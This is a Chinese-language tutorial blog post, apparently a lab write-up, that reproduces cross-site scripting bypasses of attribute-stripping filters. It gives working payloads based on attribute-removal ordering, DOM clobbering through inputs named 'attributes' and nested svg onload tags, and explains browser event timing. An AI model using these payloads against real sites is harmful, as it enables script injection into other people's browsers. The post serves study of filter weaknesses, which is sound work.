当前位置:网站首页>XSS高级 svg 复现一个循环问题以及两个循环问题
XSS高级 svg 复现一个循环问题以及两个循环问题
2022-08-09 23:58:00 【薄荷加冰心有多冷】
例子1:
源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script> const data = decodeURIComponent(location.hash.substring(1)); const root = document.createElement('div'); root.innerHTML = data; //这里模拟了xss过滤的过程,方法是移除所有属性 for(let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name); } } document.body.appendChild(root); </script>
</html>
因为现在是没有任何属性的,所以输出aaa
输入<script>alert(1)</script>
这样的标签确实没有任何属性,但是源码中是innerHTML,所以只能用img标签
输入<img src="1" onerror="alert(1)">
,发现把src属性删掉了
我们去断点调试一下,看看究竟为什么只删除了src属性,没有删除onerror属性
1、首先el是没有值的
2、el有值了,它是img,因为img传进来了
关键的是去看img中的attributes,有两个属性,一个src,一个onerror,看上去像数组一样的一个东西,有索引0和索引1。
3、继续走,attr把第一个选中了,选中了src属性
下面是remove,把src属性移除掉,onerror属性向前移一位,然后索引因为没有下一位了,所以循环结束,onerror属性也就留了下来
基于这个点,我们怎么去绕过呢?调整顺序,被过滤掉13属性,留下了24属性
输入<img xxx=aaa src="1" title=aaa onerror="alert(1)">
成功绕过!
这种做法还有很多:<svg/a/onload=alert(1)>
这是循环删除的方式,那现在改变它,不用边循环边删除
例子2:
源码:(这次先把属性放在数组中,然后再数组中循环删除)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script> const data = decodeURIComponent(location.hash.substring(1)); const root = document.createElement('div'); root.innerHTML = data; //这里模拟了xss过滤的过程,方法是移除所有属性 for(let el of root.querySelectorAll('*')) {
let attrs = []; for (let attr of el.attributes) {
attrs.push(attr.name); } for (let name of attrs) {
le.removeAttribute(name); } } document.body.appendChild(root); </script>
</html>
这次再测试发现无效了
img标签的属性也被删除了
接下来有两种方式来解决
方法一:要么别进循环直接执行
方法二:要么进循环删除无用元素
dom cobbing
一个svg一个DOM
方法二:进循环删除无用数据
但svg刚刚试了不行,把onload属性删掉了
如果有一个元素可以劫持el.attributes,那也许删除的就不是el,而是el的一个子元素
<body>
<form id="">
<img name="attributes"></img>
</form>
</body>
<script> console.log(window.x.attributes) </script>
我们插入一个form,那el此时就是form,el.attributes是谁?是form里的img
那我们让img进循环把img属性删掉,然后我们的form触发弹窗就OK了
输入<form action=""><img id=attributes></form>
事实上img已经进来了,但是不是可迭代对象,所以for循环无法进行,一个元素肯定不是可迭代对象,因此我们需要把它组成一个集合或者数组。
两个标签即可搞定
一直锁定聚焦:
<form tabindex=1 onfocus="alert(1)" autofocus="true"><input name=attributes><input name=attributes></form>
改进:聚焦生效一次后删除:
<form tabindex=1%20οnfοcus="alert(1);this.removeAttribute("onfocus");"%20autofocus="true"><input%20name=attributes><input%20name=attributes></form>
成功绕过!
通过debug分析:form确确实实走进来了,但是走进来归走进来,它删除的是后面的两个input,和我前面的触发语句没有什么关系,为什么?因为你仅仅是删除了input的属性,并没有把input的标签删除,这样我的tabindex还是聚焦在这里。
虽然你升级了,但是我们依然通过dom破坏的方式绕过了
方法一:别进循环
输入<svg><svg/onload=alert(1)>
两个SVG成功了,分析---->为什么?
分析
我们把过滤注释掉,去断点分析:
JS走了一步走到底部了
再走一步,走到img了,显示打印alert(1)但还没弹窗,很明显js把dom树阻塞了,js执行完毕,img才开始执行,意味着img标签逃不过js的过滤。
alert(1)是在页面上script标签中的代码全部执行完毕后才被调用的。
测试代码谁前谁后
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script> window.addEventListener("DOMContentLoaded", (event) => {
console.log('DOMContentLoaded') }); window.addEventListener("load", (event) => {
console.log('load') }); const data = decodeURIComponent(location.hash.substring(1)); const root = document.createElement('div'); root.innerHTML = data; </script>
</html>
可见当我们的JS执行完毕之后DOMContentLoaded(DOM的内容被加载进来),加载进来以后才执行img的属性
JS先执行,img后执行
浏览器渲染部分内容:
1、js先执行,js执行完毕,DOM树构建完成
2、触发DOMContentLoaded事件
3、加载脚本、图片(img,css)等外部标签
4、触发load事件
结论:js可以阻塞DOM树的构建,导致js先执行,img后执行
研究两个svg为何可以绕过
两个svg degbug调试看执行的先后顺序
第一步
第二步
第三步
底层原理
原理:如果是一个svg,则直接执行到这里就return返回了,因为它是最外层
返回之后继续往下走,在script标签执行完毕,再执行第二个
而一旦最外层svg加载了一个子元素svg,则直接加载了一个onload事件执行了
最开始判断的是最外层的svg,最外层的是return,如果不是最外层则走的是下面那个方法sendsvGLoadEventIfPossible();
判断:如果你是svg元素,并且你有一个相应的onload事件,则创建一个load事件(触发代码直接执行)
只要你前面创建了svg元素,并且对load事件编写了相关的代码,满足这俩个条件你就可以进入这个if中,就可以直接加载你的onload事件
如果你是最外层的话直接退出往下走,如果你不是最外层,它在innerHTML那里直接加载onload事件直接在那执行!
测试代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script> window.addEventListener("DOMContentLoaded", (event) => {
console.log('DOMContentLoaded') }); window.addEventListener("load", (event) => {
console.log('load') }); const data = decodeURIComponent(location.hash.substring(1)); const root = document.createElement('div'); root.innerHTML = data; </script>
</html>
URL输入的值:
<svg οnlοad=console.log("svg0")><svg οnlοad=console.log("svg1")><svg οnlοad=console.log("svg2")>
console回馈如下
可以很明显的看到,最外层的是svg0,除了外层,里面的是svg2和svg1
很明显的看到在DOM没加载之前svg2和svg1就执行了,而最外层的svg0执行在DOM加载完之后。
那么就很好解释为什么俩个svg触发了,而一个svg没有触发了。
<svg><svg/onload=alert(1)>
内层的svg在DOM构建之前就执行了,而最外层的svg在DOM树构建完成之后才执行。
边栏推荐
猜你喜欢
足不出户也能看星空
JVM内存和垃圾回收-10.直接内存
Penetration Testing and Offensive and Defense Confrontation - Vulnerability Scanning & Logic Vulnerability (Part1)
WPF DataGrid using data templates
3.11-程序基本的控制语句 3.12-表达式 3.13-数据类型 3.14-常量/变量 3.15-标识符
最高月薪15K,谁有历经千辛万苦的意志,谁就能收获属于自己的成功~
02|运算符
c语言指针练习题
win10重装系统后没声音怎么办?
聚焦热点 | ISC 2022软件供应链安全治理与运营论坛圆满落幕
随机推荐
WPF DataGrid using data templates
Copper's emotion
Character Statistics Histogram
快速响应性智能型/智能响应性聚乙二醇纳米/还原响应型水凝胶的研究与制备
关于HBuilder X鼠标变为_ 替换字符的问题
【CAS:41994-02-9 |Biotinyl tyramide】Biotinyl tyramide price
程序员从佩洛西窜访事件中可以学到什么?
Minimum number of steps to get out of the maze 2
使用C语言实现静态链表
03|Process Control
输入的这些数是否对称
为什么不建议你在 Docker 中跑 Mysql ?
c语言结构体、函数以及指针练习(简单通讯录)
How to turn off system protection in Win11?How to turn off the system protection restore function?
LeetCode常见题型——链表
pytest:如何在测试中编写和报告断言
移动终端数据业务高安全通信方案研究
头脑风暴:单词拆分
C language learning journey [operator (incomplete version)]
CAS:851113-28-5 (Biotin-ahx-ahx-tyramine)